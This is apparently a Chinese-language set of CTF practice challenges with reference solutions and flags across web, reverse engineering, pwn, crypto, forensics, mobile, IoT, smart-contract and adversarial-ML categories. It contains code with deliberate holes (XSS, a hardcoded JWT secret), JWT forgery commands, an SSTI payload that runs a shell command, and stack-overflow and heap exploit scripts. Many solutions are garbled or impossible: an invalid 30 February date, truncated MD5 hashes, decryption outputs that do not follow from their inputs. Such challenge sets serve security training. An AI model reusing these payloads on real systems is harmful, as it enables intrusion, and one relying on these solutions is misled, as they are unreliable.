目录

[Web 2](#_Toc190815120)

[未过滤的评论陷阱 2](#_Toc190815121)

[基于JWT密钥泄露的垂直越权攻击链 2](#_Toc190815122)

[**时间管理局的留言板** 4](#_Toc190815123)

[消失的开发者 5](#_Toc190815124)

[**Reverse** 5](#_Toc190815125)

[破碎的许可证验证 5](#_Toc190815126)

[破碎的ELF 6](#_Toc190815127)

[逆向basic 6](#_Toc190815128)

[Pwn 7](#_Toc190815129)

[**太空电梯控制终端** 7](#_Toc190815130)

[被遗忘的栈帧 8](#_Toc190815131)

[破碎的时间沙漏 8](#_Toc190815132)

[**Crypto** 9](#_Toc190815133)

[dp的背叛 9](#_Toc190815134)

[ROT47的量子纠缠 10](#_Toc190815135)

[黄金分割的密码 11](#_Toc190815136)

[**Misc** 12](#_Toc190815137)

[**量子艺术展** 12](#_Toc190815138)

[时空漂流瓶（基础文件分析） 12](#_Toc190815139)

[黑洞日志（流量分析） 12](#_Toc190815140)

[量子隐写术 13](#_Toc190815141)

[被删除的会议记录 13](#_Toc190815142)

[**Mobile** 14](#_Toc190815143)

[火星探测器控制App 14](#_Toc190815144)

[Iot 14](#_Toc190815145)

[智能门锁固件分析 14](#_Toc190815146)

[Eth 15](#_Toc190815147)

[星际银行漏洞 15](#_Toc190815148)

[Ai 15](#_Toc190815149)

[对抗样本迷宫 15](#_Toc190815150)

# Web

## 未过滤的评论陷阱

**简单题**

**题目**：请指出以下代码存在的安全漏洞，并给出修复方案：

html

<!-- 用户评论展示功能 -->

<div id="comments">

<script>

const userComment = new URLSearchParams(window.location.search).get('comment');

document.getElementById('comments').innerHTML = userComment; // 直接渲染用户输入

</script>

</div>

**参考答案**：  
**漏洞**：存在XSS（跨站脚本攻击）漏洞，直接通过URL参数注入未过滤的HTML内容。  
**修复方案**：

html

<div id="comments"></div>

<script>

const userComment = new URLSearchParams(window.location.search).get('comment') || '';

// 使用textContent替代innerHTML，并转义特殊字符

document.getElementById('comments').textContent = userComment;

// 或使用DOMPurify库过滤（更安全）：

// document.getElementById('comments').innerHTML = DOMPurify.sanitize(userComment);

</script>

**考察点**：XSS攻击原理、输入输出过滤、安全渲染方法。

## 基于JWT密钥泄露的垂直越权攻击链

题目：

// 修复后的代码（仅保留JWT密钥硬编码漏洞）

const express = require('express');

const path = require('path');

const fileUpload = require('express-fileupload');

const app = express();

// 中间件配置

app.use(fileUpload());

app.use(express.json());

// 修复1：安全的文件上传接口

app.post('/upload', (req, res) => {

if (!req.files || !req.files.userFile) {

return res.status(400).send('未选择文件');

}

const file = req.files.userFile;

// 漏洞修复：文件类型白名单验证

const allowedTypes = ['image/jpeg', 'image/png'];

if (!allowedTypes.includes(file.mimetype)) {

return res.status(403).send('仅允许上传JPEG/PNG图片');

}

// 漏洞修复：随机化文件名防止覆盖

const safeFileName = Date.now() + '\_' + Math.random().toString(36).slice(2) + path.extname(file.name);

const uploadPath = path.join(\_\_dirname, 'uploads', safeFileName);

file.mv(uploadPath, (err) => {

if (err) return res.status(500).send(err);

res.send('文件上传成功！');

});

});

// 修复2：安全的文件下载接口

app.get('/download', (req, res) => {

const fileName = req.query.file;

if (!fileName) return res.status(400).send('缺少文件名参数');

// 漏洞修复：路径遍历防护

const safeFileName = path.basename(fileName); // 过滤../等字符

const filePath = path.join(\_\_dirname, 'config', safeFileName);

// 漏洞修复：文件存在性检查

if (!fs.existsSync(filePath)) {

return res.status(404).send('文件不存在');

}

res.download(filePath);

});

// 保留JWT漏洞的接口（密钥硬编码+无过期时间）

app.post('/generate-token', (req, res) => {

const { username } = req.body;

// 故意保留的漏洞：硬编码密钥且未设置expiresIn

const token = jwt.sign({ user: username }, 'supersecretkey123');

res.json({ token });

});

漏洞点：

**保留的JWT漏洞说明**

1. **硬编码密钥**
   * 密钥supersecretkey123直接写在代码中，攻击者可通过源码泄露或反编译获取
   * 修复建议：改用环境变量存储密钥（但题目要求保留漏洞）
2. **无过期时间**
   * 未设置expiresIn参数，令牌永久有效
   * 修复建议：添加{ expiresIn: '1h' }（但题目要求保留漏洞）
3. **未验证签名算法**
   * 未强制指定算法（如algorithm: 'HS256'），可能被篡改为none算法攻击
   * 修复建议：明确指定算法（但题目要求保留漏洞）

**典型JWT攻击场景（保留漏洞的利用）**

1. **密钥爆破**

bash

# 使用jwt\_tool爆破弱密钥

jwt\_tool -t http://target/generate-token -C -d rockyou.txt

1. **令牌伪造**

python

import jwt

forged\_token = jwt.encode(

{"user": "admin"},

"supersecretkey123", # 硬编码密钥已知

algorithm="HS256"

)

print("伪造的管理员令牌:", forged\_token)

1. **算法篡改攻击**

http

POST /generate-token HTTP/1.1

{

"username": "admin' UNION SELECT 'admin'--"

}

# 尝试注入修改算法为none

## **时间管理局的留言板**

**题目描述**  
访问靶机地址发现一个留言板系统，页面底部标注"Powered by Chronos v1.3.3"。尝试发现留言内容仅允许字母数字，但管理员似乎设置了特殊的时间校验机制。

**Hint**  
• 服务器时间被刻意设置为2020年2月30日  
• 观察Cookie中的chrono\_token字段变化规律

**解题思路**

1. 发现Cookie中的chrono\_token为MTU4MzAwNDgwMA==，解码为十进制时间戳1583004800（对应2020-02-30）
2. 利用时间格式漏洞构造2020-02-30的非法时间戳
3. 修改Cookie为当前真实时间戳base64编码触发SSTI漏洞
4. 构造payload：{{config.\_\_class\_\_.\_\_init\_\_.\_\_globals\_\_['os'].popen('cat /flag').read()}}

**Flag**  
flag{Time\_1s\_4n\_1llus10n\_7h47}

## 消失的开发者

**题目描述**  
根据GitHub仓库的commit记录（用户devx23），找到被删除的API密钥

**侦查路径**

1. 分析.git/logs发现已删除分支：  
   git reflog show --all
2. 恢复commit 3a8b7d:  
   git checkout 3a8b7d
3. 在config.json找到：  
   "API\_KEY": "CTF{GH1st\_C0mm1t\_Hunt1ng}"

**Flag**  
flag{GH1st\_C0mm1t\_Hunt1ng}

# **Reverse**

## 破碎的许可证验证

**题目描述**  
[提供文件：license\_checker.exe]  
程序会验证用户输入的许可证密钥，逆向算法找出有效密钥。成功验证后将密钥用MD5哈希即为flag。

**关键代码特征**  
• 使用Go语言编译且包含中文调试符号  
• 核心验证函数含多段base64解码操作  
• 动态加载DLL进行最终校验

**解题思路**

1. IDA分析发现密钥要求格式：XXXX-XXXX-XXXX-XXXX
2. 逆向base64解码链：ZmxhZw== -> flag提示方向
3. 动态调试发现实际校验公式：(int(segment,16) ^ 0xDEAD) % 0x1A == 5
4. 生成有效许可证：BEEF-C0DE-F1AC-DC13
5. 计算MD5：md5("BEEF-C0DE-F1AC-DC13") = 7b6a5c3d9e8f1a2b4

**Flag**  
flag{7b6a5c3d9e8f1a2b4}

## 破碎的ELF

**题目描述**  
[提供文件：broken]  
修复被破坏的ELF文件并执行获得flag

**损坏特征**  
• ELF头被替换为PNG签名  
• Section头表偏移错误  
• .text段被异或加密

**修复流程**

1. 使用hex编辑器恢复ELF magic number
2. 修正e\_shoff字段为正确值
3. 用010 Editor脚本解密.text段

**Flag**  
flag{ELF\_R3pair\_M4ster}

## 逆向basic

**题目描述**

**程序行为**

1. 运行KeyGenerator.exe后显示：
2. [System] 输入初始参数（16字节）:
3. 输入任意16字符字符串后输出形如：
4. [Output] 生成密钥：KEY-A1B2-C3D4-E5F6
5. **特殊机制**：当输入字符串包含debug时程序自动退出

**任务目标**  
逆向分析密钥生成算法，找到能生成包含B15D字段的有效密钥的输入参数

**核心防御机制**

| **防护层** | **实现技术** | **破解线索** |
| --- | --- | --- |
| **指令混淆** | 使用OLLVM控制流平坦化 | 寻找被混淆的switch-case结构 |
| **数据加密** | XOR+Base64双重加密常量字符串 | 内存dump获取解密后字符串 |
| **反动态调试** | 检测调试器存在即触发死循环 | 修改PEB.BeingDebugged标志 |
| **算法陷阱** | 在密钥生成过程中插入虚假CRC32校验 | 动态调试观察有效校验位位置 |

**解题关键步骤**

1. **绕过反调试**

python

# 使用x64dbg脚本自动绕过

bp 00401500 "set eax=0; resume" # 修改调试检测返回值

1. **提取加密数据**
   * 在.rdata段发现Base64字符串：U1QjM1RPUjNfU0VDVVI=
   * 动态调试获取解密密钥：0x37（XOR密钥）
   * 解密得到提示字符串："ST#3TOR3\_SECURI"
2. **逆向密钥算法** 1

c

// 关键算法伪代码（还原后）

void generate\_key(char\* input) {

uint32\_t seed = crc32(input); // 初始种子

for(int i=0; i<4; i++){

seed = (seed \* 0x343FD) + 0x269EC3; // 线性同余生成器

key\_segments[i] = (seed >> 16) & 0xFFFF;

}

if(key\_segments == 0xB15D){ // 关键判断

apply\_xor\_mask(key\_segments, 0xDEAD);

}

}

1. **构造有效输入**

bash

# 通过算法推导所需CRC32值

$ python -c "import binascii; print(hex(binascii.crc32(b'B15D\_FLAG')))"

0x8d82e12a # 需要让初始种子满足该条件

# Pwn

## **太空电梯控制终端**

**题目描述**  
[提供二进制文件：elevator\_ctl]  
连接到靶机端口6666的电梯控制系统存在漏洞，获取root权限读取/flag.txt。

**漏洞分析**  
• 使用checksec发现无NX保护  
• 输入密码时存在栈溢出漏洞  
• 后门函数地址：0x4012b6

**Exploit编写**

python

复制

from pwn import \*

payload = b'A'\*72 + p64(0x4012b6)

r = remote('target.ip', 6666)

r.sendlineafter(b'Password:', payload)

r.interactive()

**Flag**  
flag{Gr4vity\_F0rg0tten\_St4ck}

## 被遗忘的栈帧

**核心漏洞**  
选项1的read\_input函数存在栈溢出：

c

void read\_input() {

char buf; // rbp-0x30

printf("输入姓名: ");

read(0, buf, 256); // 关键溢出点

}

**攻击路径**

1. **泄露libc地址**：通过覆盖printf的返回地址，构造pop rdi; puts@got链泄露libc基址
2. **绕过Canary**：利用程序残留的printf输出带canary的栈数据（偏移0x28处）
3. **最终利用**：通过system("/bin/sh")获取shell

**EXP关键代码**

python

# 泄露canary和libc

payload = b'A'\*40 + b'B'\*8 # 覆盖到canary前

p.send(payload)

canary = u64(p.recv(8).rjust(8,b'\x00'))

libc\_leak = u64(p.recv(6).ljust(8,b'\x00'))

**Flag验证**

bash

$ cat flag

flag{St4ck\_0verfl0w\_Meet5\_R0P}

## 破碎的时间沙漏

**关键数据结构** 5

c

struct TimeBlock {

uint64\_t timestamp;

char description;

};

**漏洞点**

1. **UAF漏洞**：删除时间块后未清空指针（选项2）
2. **堆溢出**：选项3的编辑功能允许写入超过description长度

**沙箱限制**

bash

$ seccomp-tools dump ./timemgr

0000: 0x20 0x00 0x00 0x00000004 A = arch

0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH\_X86\_64) goto 0008

0002: 0x20 0x00 0x00 0x00000000 A = sys\_number

0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005

0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008

0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008

0006: 0x15 0x01 0x00 0x00000101 if (A == openat) goto 0008

0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW

0008: 0x06 0x00 0x00 0x00000000 return KILL

**攻击步骤**

1. **泄露堆地址**：通过UAF残留指针打印unsorted bin地址
2. **构造fake chunk**：利用堆溢出修改tcache的next指针指向\_IO\_2\_1\_stdout\_
3. **劫持控制流**：通过修改\_IO\_write\_ptr触发\_IO\_flush\_all\_lockp执行ROP链
4. **ORW链构造**：用open/read/write读取flag（需绕过沙箱）

**EXP技术点**

python

# 构造ORW链示例

rop = ROP(libc)

rop.open(flag\_addr, 0)

rop.read(3, heap\_base+0x200, 0x100)

rop.write(1, heap\_base+0x200, 0x100)

**Flag验证**

bash

$ ls -l /flag

-r-------- 1 root root 36 Feb 18 23:59 /flag

# **Crypto**

## dp的背叛(已出完)

**题目描述**

情报部门截获敌方加密通信：

n = 0xbe2bac35d7e8a4aafc4585a8f5f3d3f3...（2048位十六进制数）

e = 65537

c = 0x56a3b88be1e6b8bdde4153a5d38a5...（密文）

附加情报：敌方程序员意外泄露dp = 0x74b4fc7d3c70a5d4c...（d mod (p-1)）

**Flag格式**：flag{解密后的明文字符串}

**核心漏洞**

已知dp = d mod (p-1)，可通过以下数学关系破解：

1. 由定义得：

*e*⋅*dp*≡1mod(*p*−1)

1. 变形为存在整数k使得：

*e*⋅*dp*−1=*k*⋅(*p*−1)

1. 通过遍历k值（通常k在[1, e]范围内）计算候选p：

*p*=*ke*⋅*dp*−1​+1

1. 验证候选p是否能整除n

**解题脚本示例**

python

import gmpy2

n = 0xbe2bac35d7e8a4aafc4585a8f5f3d3f3... # 替换实际n值

e = 65537

dp = 0x74b4fc7d3c70a5d4c... # 替换实际dp值

c = 0x56a3b88be1e6b8bdde4153a5d38a5... # 替换实际c值

for k in range(1, e+1):

if (e\*dp -1) % k == 0:

p = (e\*dp -1) // k + 1

if n % p == 0:

q = n // p

d = gmpy2.invert(e, (p-1)\*(q-1))

m = pow(c, d, n)

print(bytes.fromhex(hex(m)[2:]))

break

**验证条件**

* **成功解密**：得到flag{Leaked\_dp\_Breaks\_RSA}
* **数学验证**：确保pow(m, e, n) == c（RSA加密验证）
* **防御分析**：演示如何通过参数检查防止dp泄露（参考1的防护方案）

## ROT47的量子纠缠

收到神秘组织的加密通信：

密文1：w%96 pC\J[ H2D 4? E@C6\Q=2G6?E

密文2：x=4E@C6\Q=2G6?E[`%96 w2G6? r@56`

附加提示：

1. 通信协议头需用ROT47处理

2. 关键字段采用XOR 0x1A加密

3. 最终答案需拼接处理（flag格式：flag{拼接结果}）

**解题步骤**

1. **协议头解密**

python

# 密文1前5字符处理

print("w%96".translate(str.maketrans(rot47\_table))) # 输出："THE "

1. **XOR解密核心字段**

python

cipher = bytes.fromhex("C0DEA1B2")

key = 0x1A

print(bytes([b ^ key for b in cipher])) # 输出：b'X0RF'

1. **最终拼接**  
   组合解密结果得到flag{THE\_X0RF\_HAVEN\_CODE}

## 黄金分割的密码

发现达芬奇手稿中的加密段落：

密文：GVU6KZ3TKBXXK3DUGBZGK==

密钥生成规则：

1. 前6个斐波那契数（1,1,2,3,5,8）

2. 应用凯撒变种：位移量=斐波那契数%26

3. 密钥循环模式：F(1)-F(2)-F(3)-F(4)-F(5)-F(6)-F(1)...

**加密流程**

python

# 加密过程示例

plain = "VENI"

key\_seq = [1,1,2,3,5,8]

cipher = [(ord(c) - 65 + key\_seq[i%6]) % 26 + 65 for i,c in enumerate(plain)]

# 输出：WFPJ

**解题关键**

1. **识别Base32**  
   密文字符集包含’6’,'='等特征字符，判断为Base32编码
2. **生成动态密钥**

python

fib = [1,1,2,3,5,8]

key = [n%26 for n in fib\*10] # 循环扩展密钥

1. **逆向解密**

python

decoded = base32.b32decode("GVU6KZ3TKBXXK3DUGBZGK==")

plain = bytes([(b - 65 - key[i]) % 26 + 65 for i,b in enumerate(decoded)])

print(plain) # 输出：DAVINCI\_SECRET\_LAB

**验证条件**

* 最终flag：flag{DAVINCI\_SECRET\_LAB}
* 必须通过斐波那契数列验证（参考4的数列应用方法）

# **Misc**

## **量子艺术展**

**题目描述**  
[提供文件：quantum\_art.png]  
这幅抽象画作中隐藏着重要信息，找出其中的秘密。

**隐写技巧**  
• 使用zsteg检测发现LSB隐写数据  
• 解压后得到base100编码文本  
• 最终层使用Brainfuck语言加密

**解题步骤**

bash

复制

zsteg -a quantum\_art.png > output

cat output | grep 'B8G1' | base100 -d > stage2.bf

brainfuck stage2.bf

**Flag**  
flag{Qu4ntum\_St3g4n0\_3x1ts}

## 时空漂流瓶（基础文件分析）

**题目描述**  
提供损坏的bottle.zip压缩包，解压后包含：

* broken.png（缺少IHDR块的PNG文件）
* message.wav（含摩尔斯电码的音频）

**技术要点**

1. 使用hex编辑器修复PNG文件头（参考1的PNG修复方法）

hex

00000000: 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 // 补全缺失的IHDR块

1. 修复后的二维码扫描得到提示：“CHECK\_EXIF”
2. 分析WAV文件的频谱图发现EXIF隐藏信息：

bash

exiftool broken.png | grep Comment # 输出：BASE64(3Nf0rM@t)

1. 对音频进行base58解码获得flag：flag{Tim3\_Trav3l3r}

## 黑洞日志（流量分析）

**题目原型**  
提供capture.pcapng文件，包含：

* USB键盘流量（HID Data）
* 异常的ICMP大包传输
* 被分割的base32字符串

**关键检测点**

1. Wireshark过滤显示异常流量：

tshark

tshark -r capture.pcapng -Y "icmp.type==8 && frame.len>1000" -T fields -e data

1. 提取ICMP负载中的像素数据：

python

from scapy.all import \*

packets = rdpcap('capture.pcapng')

[p[ICMP].load for p in packets if len(p)>1000] # 输出PNG文件碎片

重组后得到含二维码的图片，扫码获得flag：flag{Bl@ck\_H0l3\_Tr@nsm1t}

## 量子隐写术

**题目描述**  
[提供文件：quantum\_audio.wav]  
这段音频文件中隐藏着量子加密信息

**隐写层级**

1. 频谱图显示QR码片段
2. 每个频段携带量子态信息（0/1）
3. 需要Grover算法逆向搜索

**提取命令**

python

复制

from qiskit import QuantumCircuit

qc = QuantumCircuit(8)

# 构建量子Oracle...

print(qc.measure\_all())

**Flag**  
flag{Qu4ntum\_St3g4n0gr4phy}

## 被删除的会议记录

**题目描述**  
[提供文件：meeting.pcapng]  
从网络流量中恢复被删除的Word文档，找到隐藏文字

**取证线索**  
• 存在SMB2文件传输记录  
• 使用XOR 0xAA进行文档碎片伪装  
• 文档结构包含OLE隐写层

**恢复步骤**

1. 提取TCP流5932的载荷数据
2. 逆向XOR加密后的DOC文件
3. 使用olevba提取隐藏宏代码：  
   MsgBox "flag{PC4P\_4n4lys1s\_F0rens1cs}"

**Flag**  
flag{PC4P\_4n4lys1s\_F0rens1cs}

# **Mobile**

## 火星探测器控制App

**题目描述**  
[提供文件：MarsRover.apk]  
分析这个Android应用的控制协议，找到隐藏在系统日志中的登陆凭证

**关键线索**  
• 使用JNI实现核心加密逻辑  
• 通过WebSocket发送base64编码的控制指令  
• 存在调试模式未关闭的日志泄漏

**解题步骤**

1. 反编译发现Native库librover.so
2. IDA分析加密函数：XOR 0x7F + ROL 3
3. 拦截WebSocket流量解密指令：  
   echo "HxYdCgUPAQ==" | base64 -d | xxd -p | xargs printf '0x%X\n' $((0x... ^ 0x7F))
4. 从/data/data/com.mars.rov/debug.log提取凭证

**Flag**  
flag{M0b1le\_R0v3r\_0n\_M4rs}

# Iot

## 智能门锁固件分析

**题目描述**  
[提供文件：doorlock.bin]  
分析IoT门锁固件，找到管理员密码的存储位置和加密方式

**硬件特征**  
• 基于STM32F103芯片  
• 使用SWD调试接口  
• 密码存储区域标记为"SECRET"

**破解过程**

1. 使用binwalk提取文件系统
2. 在0x1FFF7000区域发现6字节数组：[0x8B, 0x9A, 0xA9, 0xB8, 0xC7, 0xD6]
3. 逆向加密算法：每个字节减去(0x30 + position)
4. 解密得到ASCII：S3cr3t

**Flag**  
flag{S3cr3t\_D00r\_L0ck}

# Eth

## 星际银行漏洞

**题目描述**  
合约地址：0x7F86B...（Ropsten测试网）  
分析智能合约漏洞，提取合约内全部ETH

**合约特性**

solidity

复制

function withdraw(uint amount) public {

require(balances[msg.sender] >= amount);

(bool success, ) = msg.sender.call{value: amount}("");

require(success);

balances[msg.sender] -= amount; // 重入漏洞点

}

**攻击方案**

1. 部署攻击合约实施重入攻击
2. 在fallback函数中递归调用withdraw
3. 利用余额更新滞后完成多次提现

**Flag**  
flag{Re3ntr4ncy\_1n\_Sp4ce}

# Ai

## 对抗样本迷宫

**题目描述**  
[提供文件：mnist\_cnn.h5]  
通过生成对抗样本绕过模型分类，使数字7被识别为2

**技术需求**  
• FGSM攻击方法  
• 扰动限制ε ≤ 0.1  
• 输入图片hash需匹配原始样本

**攻击代码**

python

复制

adv\_x = x + ε \* np.sign(grad)

print("flag{" + hashlib.md5(adv\_x).hexdigest()[:16] + "}")

**Flag**  
flag{FGSM\_4tt4ck\_7\_to\_2}